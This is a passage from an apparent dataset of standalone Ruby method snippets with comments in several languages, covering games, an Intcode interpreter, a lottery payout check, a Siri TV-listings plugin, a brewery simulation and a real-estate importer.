print \"AJOUTER\", x,\"-\",y,\"\\n\"\n\t\t\t\t\t\t\t# print \"\\t\", lig1,\"/\",lig2,\"-\",col1,\"/\",col2,\"\\n\"\n\t\t\t\t\t\t\tlisteCase.push(Position.new(x,y))\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tprint \"Problème !\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# print \"\\n\\tlisteCase\", listeCase\n\n\t\tif listeCase.empty?\n\t\t\t#print \"NIL\"\n\t\t\treturn nil \n\t\tend\n\n\t\treturn listeCase\n\tend",
"def arrancar(velocidad)\r\n puts \"El vehiculo tiene una velocidad de #{velocidad}\"\r\n end",
"def nacti_data(data, pomer)\n poc_nactenych_klauzuli = 0 \n pole_radku = data.split(\"\\n\")\n \n pole_radku.each do |radek|\n if(radek[0]!=\"c\")then #preskakuji komentar\n pole_hodnot = radek.split(' ') # ulozim si hodnoty do pole\n \n case radek[0]\n \n when \"p\"\n #nacteni zakladniho nastaveni instance\n @pocet_promennych = pole_hodnot[2].to_i\n @pocet_klauzuli = pole_hodnot[3].to_i\n # pokud je nastaven pomer (tj. obtiznost instance)\n if((pomer!=-1)&&(@pocet_klauzuli>=@pocet_promennych.to_f*pomer))then\n @pocet_klauzuli = @pocet_promennych.to_f*pomer\n end\n \n when \"w\"\n #nacitani vahoveho vektoru\n citac = 1\n while(citac < pole_hodnot.length)do\n @pole_vah[citac-1] = pole_hodnot[citac].to_i\n citac +=1\n end\n\n # when \"%\" # pouze pro kontrolu\n #ukoncovaci znak\n # puts \"%\" \n \n else\n #nacitani klauzuli\n if(poc_nactenych_klauzuli<@pocet_klauzuli)then\n citac = 0\n while(citac < pole_hodnot.length-1)do\n if(@klauzule[poc_nactenych_klauzuli]==nil)then\n nove_pole = []\n @klauzule[poc_nactenych_klauzuli]= nove_pole\n end\n @klauzule[poc_nactenych_klauzuli][@klauzule[poc_nactenych_klauzuli].length] = pole_hodnot[citac].to_i\n citac +=1\n end\n poc_nactenych_klauzuli+=1\n end \n end\n end\n end \n end",
"def sub_vob _value=0\n send_cmd(\"sub_vob #{_value}\")\n end",
"def primeira_letra2\n\tprint (\" \" * @esp)+\" \"+ \"a\" + \"\\n\"\nend",
"def solve(a=nil, b=nil)\n program = @program.dup\n pointer = 0\n opcode = 0\n program[1] = a if a\n program[2] = b if b\n\n while (opcode != @STOP && pointer < program.length) do \n puts \"pointer: #{pointer}\" if @DEBUG\n opcode = program[pointer]\n a = 0\n b = 0\n c = 0\n\n # Check Immeidate Mode\n if(opcode.to_s.length > 2)\n opcode = opcode.to_s\n # need to parse that fancy code\n instruction = opcode[-2..-1].to_i\n puts \"instruction: #{instruction}\\nopcode: #{opcode}\" if @DEBUG\n \n if (opcode.length == 3)\n puts \"length: 3\" if @DEBUG\n c = opcode[0].to_i\n elsif (opcode.length == 4)\n puts \"length: 4\" if @DEBUG\n b = opcode[0].to_i\n c = opcode[1].to_i\n elsif (opcode.length == 5)\n puts \"length: 5\" if @DEBUG\n a = opcode[0].to_i\n b = opcode[1].to_i\n c = opcode[2].to_i\n end\n else\n puts \"opcode only: #{opcode}\" if @DEBUG\n instruction = opcode.to_i\n end\n\n if(instruction == @STOP)\n puts \"STOP\"\n break\n end\n\n puts \"a: #{a}\\nb: #{b}\\nc: #{c}\\n\" if @DEBUG\n \n if(instruction == @ADD || instruction == @MULTIPLY)\n position_a = program[pointer + 1].to_i\n position_a = program[position_a].to_i if c == 0\n\n position_b = program[pointer + 2].to_i\n position_b = program[position_b].to_i if b == 0\n\n position_c = program[pointer + 3].to_i #if a == 0\n #position_c = program[pointer + 3].to_i if a == 1\n \n if(instruction == @ADD)\n program[position_c] = position_a + position_b\n elsif(instruction == @MULTIPLY)\n program[position_c] = position_a * position_b\n end\n pointer += 4\n puts \"incrementing pointer by 4\" if @DEBUG\n end\n\n if(instruction == @READ)\n if (c == 0)\n puts \"\\nSTATUS: #{program[program[pointer + 1].to_i]}\\n\"\n else\n puts \"\\nSTATUS: #{program[pointer + 1]}\\n\"\n end\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n if(instruction == @STORE)\n print \"input: \"\n number = gets.strip\n target = program[pointer + 1].to_i\n program[target] = number.to_i\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n # only two params\n if(instruction == @JUMP_IF_TRUE)\n puts \"Jump if true\" if @DEBUG\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n unless program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # only two params\n if(instruction == @JUMP_IF_FALSE)\n puts \"Jump if false\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n \n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n if program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # four parameters\n if(instruction == @LESS)\n puts \"Less\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n if(program[first].to_i < program[second].to_i)\n program[third] = 1\n else\n program[third] = 0\n end\n\n pointer += 4\n end\n\n if(instruction == @EQUALS)\n puts \"Equals\" if @DEBUG\n\n first = pointer + 1\n first = program[pointer + 1].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n puts \"first: #{program[first]}, second: #{program[second]}\" if @DEBUG\n\n if(program[first].to_i == program[second].to_i)\n puts \"Setting #{third} to 1\" if @DEBUG\n program[third] = 1\n else\n puts \"Setting #{third} to 0\" if @DEBUG\n program[third] = 0\n end\n\n pointer += 4\n end\n gets if @DEBUG\n end\n return program[0]\n end",
"def place_boutons_pour_balise_in code\n file_url = \"analyse/#{id}/show\"\n code.gsub(/<(h[2-6])(?:.*?)id=\"(.+?)\"(?:.*?)>(.+?)<\\/\\1>/){\n tout = $&.freeze\n titre_id = $2.freeze\n titre_nom = $3.freeze\n titre_complet = \"Analyse de #{titre}, #{titre_nom}\"\n relative_url = \"#{file_url}##{titre_id}\"\n absolute_url = \"#{site.distant_url}/#{relative_url}\"\n clips = [\"'BRUT': '#{relative_url}'\"]\n clips << \"'MD Loc': '[#{titre_nom}](#{relative_url})'\"\n clips << \"'MD Dist':'[#{titre_complet}](#{absolute_url})'\"\n clips << \"'Markdown': '[#{titre_complet}](#{absolute_url})'\"\n clips << \"'Mail': 'ALINK[#{absolute_url},#{titre_complet}]'\"\n clips = \"{#{clips.join(',')}}\"\n box = \"<lien>\".in_a(onclick:\"UI.clip(#{clips})\").in_div(class:'fright small')\n \"<ADMIN>#{box}#{tout}</ADMIN>\"\n }\n end",
"def lsi; end",
"def excede_control_de_pago_global()\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0 # inicializacionn de variable sumatoria en cero ok\n #La idea aqui es verificar si la sumatoria de posible pago de todas las jugadas de todos los tipos de tickets activos de hoy no excede el limite globar de riesgo del sistema ok\n \n #limite GLOBAL = 1 ADMINISTRATIVO OK Y TIPOJUGADA TAMBIEN MANUAL = GLOBAL OK TED. POPULATE IT IN DATABASE PRODUCTION OK:\n control_monto_max_pago_global = Controldepagogt.where(:tipojugada => \"global\" ).first.limiteglobal.to_i || 1 # setear un valor default ok \n\n t_ids = Ticket.today.where(:activo => \"si\").ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_sumatoria_posible_pago = Jugadalot.where(:ticket_id => t_ids)# postrges casting erro string ok .sum(:posiblepago).to_i\n \n if not @listado_sumatoria_posible_pago.nil?\n @listado_sumatoria_posible_pago.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += jugada.posiblepago.to_i\n end\n \n end\n \n \n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0\n# t.each do |ticket|\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n# end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global.to_i <= control_monto_max_pago_global.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"def programmjetzt\ndoc = tvprogramm(doc)\ndob = tvprogrammsat(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Das läuft gerade im Fernsehen\"\nobject = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - aktuell\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n \n end\n request_completed\nend",
"def get_vagas_eleicao(ano, cargo, localizacao)\n return $vagas[ano.to_s][localizacao.nome][cargo.to_s].to_i\nend",
"def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\t@pusta.litera[a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\t@pusta.litera[a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\t@pusta.rysuj \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\t@pusta.rysuj \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"def traer_insumo(nombreInsumo, cantidad)\n\t case nombreInsumo\n\t\t when \"cebada\" then \n\t\t\t if (@cebada >= cantidad)\n\t\t\t\t @cebada -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @cebada\n\t\t\t\t @cebada = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"arroz_maiz\" then\n\t\t\t if (@arroz_maiz >= cantidad)\n\t\t\t\t @arroz_maiz -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @arroz_maiz\n\t\t\t\t @arroz_maiz = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"levadura\" then\n\t\t\t if (@levadura >= cantidad)\n\t\t\t\t @levadura -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @levadura\n\t\t\t\t @levadura = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"lupulo\" then\n\t\t\t if (@lupulo >= cantidad)\n\t\t\t\t @lupulo -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @lupulo\n\t\t\t\t @lupulo = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_silos_cebada\" then\n\t\t\t if (@producto_silos_cebada >= cantidad)\n\t\t\t\t @producto_silos_cebada -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_silos_cebada\n\t\t\t\t @producto_silos_cebada = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_molino\" then\n\t\t\t if (@producto_molino >= cantidad)\n\t\t\t\t @producto_molino -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_molino\n\t\t\t\t @producto_molino = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_paila_mezcla\" then\n\t\t\t if (@producto_paila_mezcla >= cantidad)\n\t\t\t\t @producto_paila_mezcla -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_paila_mezcla\n\t\t\t\t @producto_paila_mezcla = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_cuba_filtracion\" then\n\t\t\t if (@producto_cuba_filtracion >= cantidad)\n\t\t\t\t @producto_cuba_filtracion -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_cuba_filtracion\n\t\t\t\t @producto_cuba_filtracion = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_paila_coccion\" then\n\t\t\t if (@producto_paila_coccion >= cantidad)\n\t\t\t\t @producto_paila_coccion -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_paila_coccion\n\t\t\t\t @producto_paila_coccion = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tanque_preclarificador\" then\n\t\t\t if (@producto_tanque_preclarificador >= cantidad)\n\t\t\t\t @producto_tanque_preclarificador -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tanque_preclarificador\n\t\t\t\t @producto_tanque_preclarificador = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_enfriador\" then\n\t\t\t if (@producto_enfriador >= cantidad)\n\t\t\t\t @producto_enfriador -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_enfriador\n\t\t\t\t @producto_enfriador = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tcc\" then\n\t\t\t if (@producto_tcc >= cantidad)\n\t\t\t\t @producto_tcc -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tcc\n\t\t\t\t @producto_tcc = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_filtro_cerveza\" then\n\t\t\t if (@producto_filtro_cerveza >= cantidad)\n\t\t\t\t @producto_filtro_cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_filtro_cerveza\n\t\t\t\t @producto_filtro_cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tanque_cerveza\" then\n\t\t\t if (@producto_tanque_cerveza >= cantidad)\n\t\t\t\t @producto_tanque_cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tanque_cerveza\n\t\t\t\t @producto_tanque_cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"cerveza\" then\n\t\t\t if (@cerveza >= cantidad)\n\t\t\t\t @cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @cerveza\n\t\t\t\t @cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t end\n\tend",
"def vertikal_bewegen(anzahl_punkte)\n @fuss.vertikal_bewegen(anzahl_punkte)\n @stiel.vertikal_bewegen(anzahl_punkte)\n @schirm.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl1.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl2.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl3.vertikal_bewegen(anzahl_punkte)\n @leuchtstrahl4.vertikal_bewegen(anzahl_punkte)\n end",
"def mambo_no_5; end",
"def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend",
"def import_bien b\n \n # Good location\n good_address = {}\n\tif b['LOCALISATION']['VISIBLE'].to_s == \"true\"\n\t\tloc = BienEmplacement.new\n\t\tloc.pays = \"France\"\n\t\tloc.code_postal = b['LOCALISATION']['CODE_POSTAL']\n\t\tloc.ville = b['LOCALISATION']['VILLE']\n\telse\n\t\tloc = nil\n\tend\n\n\t# Category & Transaction type\n\tcat_text = find_cat(b)\n if(cat_text.nil? or b[cat_text].nil?)\n\t Logger.send(\"warn\",\"[AC3] Categorie non connue pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\")\n\t @result[:description] << \"[AC3] Categorie non connue pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\"\n return\n end\n\tcat_root = b[cat_text]\n\tcat = BienType.find_or_create cat_text.up_first\n\t\n\tLogger.send(\"warn\",\"Categorie : #{cat_text}\")\n\t\n\tif !(b[\"VENTE\"].nil?)\n\t transaction_type = BienTransaction.where(:nom => 'Vente').first\n transactionTypeIndex = \"VENTE\"\n price = b[\"VENTE\"][\"PRIX\"]\n elsif !(b[\"LOCATION\"].nil?)\n transaction_type = BienTransaction.where(:nom => 'Location').first\n transactionTypeIndex = \"LOCATION\"\n b[\"LOCATION\"][\"PROVISION_SUR_CHARGES\"] ||= 0\n price = b[\"LOCATION\"][\"LOYER\"].to_i + b[\"LOCATION\"][\"PROVISION_SUR_CHARGES\"].to_i\n # elsif !(b[\"SAISONNIER\"].nil?)\n # transaction_type = Immo::TransactionType.get 'Saisonnier'\n # transactionTypeIndex = \"SAISONNIER\"\n # price = 0\n else\n\t Logger.send(\"warn\",\"[AC3] Type de transaction nul pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\")\n\t @result[:description] << \"[AC3] Type de transaction nul pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\"\n return\n end\n\n\t# find if good already exist, unless create it\n\tref = b[\"INFO_GENERALES\"][\"AFF_NUM\"] \n\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n nb = Bien.new if nb.nil?\n\n\tnb.is_accueil = false\n\t#nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\t\n\t# update attributes\n\tnb.passerelle = @passerelle\n\tnb.reference = ref\n nb.bien_type = cat\n nb.bien_transaction = transaction_type\n nb.bien_emplacement = loc\n\t\n\tnb.nb_piece = cat_root['NBRE_PIECES'].to_i\n nb.nb_chambre = cat_root['NBRE_CHAMBRES'].to_i\n nb.surface = cat_root['SURFACE_HABITABLE'].to_i\n nb.surface_terrain = cat_root['SURFACE_TERRAIN'].to_i\n nb.titre = b['INTITULE']['FR']\n\t\n nb.prix = price\n nb.description = b['COMMENTAIRES']['FR']\n nb.valeur_dpe = cat_root['CONSO_ANNUEL_ENERGIE']\n\tnb.classe_dpe = cat_root['CONSOMMATIONENERGETIQUE']\n\tnb.valeur_ges = cat_root['VALEUR_GES']\n\tnb.class_ges = cat_root['GAZEFFETDESERRE']\n nb.statut = 'new'\n nb.save!\n\t\n\t# If new images : Drop old images, add current images\n if b['IMAGES'] && b['IMAGES']['IMG']\n # un-attach old\n\t nb.bien_photos.each{ |photo|\n\t\t photo.bien = nil\n\t\t photo.save!\n\t }\n pl = b['IMAGES']['IMG']\n \n # When there only exists a single image, +pl+ will directly be the hash\n pl = [pl] unless pl.kind_of? Array\n # Map photo-hashes to medias, filter out failures, and add medias to good\n\t number = 0\n pl.map { |p| import_remote_media(p,(number += 1),nb) }\n end\n nb.save!\n\n return true\n\n return\n end",
"def cicloInactiva\n \n #-- Se calcula la cantidad de insumo basico requerido por la maquina C \n insumoRequerido = @porcentajeIB * @cantidadMax\n \n #-- Unicamente si se tiene la cantidad requerida de insumo basico\n #-- en el contenedor, se procede a analizar el resto de la mezcla\n if @insumoBasico.cantidad >= insumoRequerido \n \n #-- Caso en el que la maquina posee un contenedor de enlace\n #-- con una maquina anterior.\n if @productoAnterior != nil\n \n\n \n #-- Se calcula la cantidad de producto anterior requerido\n #-- por la maquina Compleja\n productoAnteriorRequerido = @porcentajePA * @cantidadMax\n cantidadAObtener = productoAnteriorRequerido -\n @productoAnteriorRestante \n \n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- es suficiente para comenzar el procesamiento de \n #-- la maquina\n if @productoAnterior.cantidad >= cantidadAObtener\n \n #-- Se resta la cantidad necesaria para comenzar a \n #-- procesar de la cantidad encontrada en el contenedor\n @productoAnterior.cantidad -= cantidadAObtener\n \n #-- Se disminuye la cantidad de insumo basico del \n #-- contenedor\n @insumoBasico.cantidad -= insumoRequerido\n @productoAnteriorRestante = 0.0\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- no es el suficiente para comenzar el procesamiento de\n #-- de la maquina\n else\n #-- Se recolecta en su totalidad la fraccion restante \n #-- de producto anterior del contenedor\n @productoAnteriorRestante += @productoAnterior.cantidad\n @productoAnterior.cantidad = 0\n \n end\n \n #-- Caso en el que la maquina corresponde a la primera dentro\n #-- del proceso de produccion. Unicamente se verifica el insumo\n #-- basico, pues no se depende de ningun producto anterior.\n else\n @insumoBasico.cantidad -= insumoRequerido\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n end\n end\n end",
"def abendprogramm\ndoc = tvprogrammabend(doc)\ndob = tvprogrammsatabend(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Programm für 20 Uhr 15\"\n object = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - 20:15\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n end\n request_completed\nend",
"def informa(pippo)\n # 1. Calcolo i valori di c14_idaliquotaiva e la loro frequenza in lbooks\n ivaInLbooks = Lbook.gruppiIVA\n risultL = \"1. Segue hash ivaInLbooks: #{ivaInLbooks.inspect}\"\n pippo.scriviRiga(risultL)\n\n # 2. Calcolo i valori di idaliquotaiva e la loro frequenza in books\n ivaInBbooks = Book.gruppiIVA\n risultB = \"2. Segue hash ivaInBbooks: #{ivaInBbooks.inspect}\"\n pippo.scriviRiga(risultB) \nend",
"def primeira_letra\n\tprint (\" \" * @esp)+ \"a\" + \"\\n\"\nend",
"def retourAvant()#TOTEST\n if(@indiceCoup < tabCoup.size) #vérification normalement inutile puisque le bouton devrait être disable\n #On annule en passant au coup suivant\n coupSuivant = tabCoup.at(@indiceCoup)\n @grilleEnCours.tabCases[coupSuivant.case.positionY][coupSuivant.case.positionX].couleur = coupSuivant.couleur\n @grilleRaz = nil\n\n @indiceCoup += 1 #On passe au coup suivant\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n end\n\n return [peutRetourAvant?, coupSuivant.case] #Pour dire aux fonctions appelantes si on peut encore aller en avant\n end",
"def sea; end",
"def calcula_temp(ciclo,no,pos,estado)\n\t\tif pos == -1\n\t\t\tif estado == 's'\n\t\t\t\ttemp = (@vet_temp[ciclo][no-1] * @delta_tempo) / (@tal_descarga_solido)\n\t\t\telsif estado =='l'\n\t\t\t\ttemp = (@vet_temp[ciclo][no-1] * @delta_tempo) / (@tal_descarga_liquido)\n\t\t\telsif estado == 'p'\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\tputs \"Método calcula_temp\"\n\t\t\t\tputs \"ciclo: \" + ciclo.to_s + \" nos: \" + no.to_s + \" pos: \" + pos.to_s + \" estado: \" + estado.to_s\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\ta = (calcula_tal('descarga','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1]))\n\t\t\t\tputs \"valor de a :\" + a.to_s\n\t\t\t\ttemp = (@vet_temp[ciclo][no-1] * @delta_tempo) / (calcula_tal('descarga','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1]))\n\t\t\tend\n\t\telsif pos == 0\n\t\t\tif estado == 's'\n\t\t\t\ttemp = (1 - (@delta_tempo / @tal_resultante_solido)) * (@vet_temp[ciclo][no])\n\t\t\telsif estado == 'l'\n\t\t\t\ttemp = (1 - (@delta_tempo / @tal_resultante_liquido)) * (@vet_temp[ciclo][no])\n\t\t\telsif estado == 'p'\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\tputs \"Método calcula_temp\"\n\t\t\t\tputs \"ciclo: \" + ciclo.to_s + \" nos: \" + no.to_s + \" pos: \" + pos.to_s + \"estado\" + estado.to_s\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\ta = calcula_tal('resultante','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1])\n\t\t\t\tputs \"valor de a :\" + a.to_s\n\t\t\t\ttemp = (1 - (@delta_tempo / calcula_tal('resultante','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1])) * (@vet_temp[ciclo][no]))\n\t\t\tend\n\t\telsif pos == 1\n\t\t\tif estado == 's'\n\t\t\t\ttemp = (@vet_temp[ciclo][no+1] * (@delta_tempo)) / (@tal_carga_solido)\n\t\t\telsif estado == 'l'\n\t\t\t\ttemp = (@vet_temp[ciclo][no+1] * (@delta_tempo)) / (@tal_carga_liquido)\n\t\t\telsif estado == 'p'\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\tputs \"Método calcula_temp\"\n\t\t\t\tputs \"ciclo: \" + ciclo.to_s + \" nos: \" + no.to_s + \" pos: \" + pos.to_s + \"estado\" + estado.to_s\n\t\t\t\tputs \"--------------------------------------------------------\"\n\t\t\t\ta = (calcula_tal('carga','p',@vet_temp[ciclo][no - 1],@vet_temp[ciclo][no],@vet_temp[ciclo][no + 1]))\n\t\t\t\tputs \"valor de 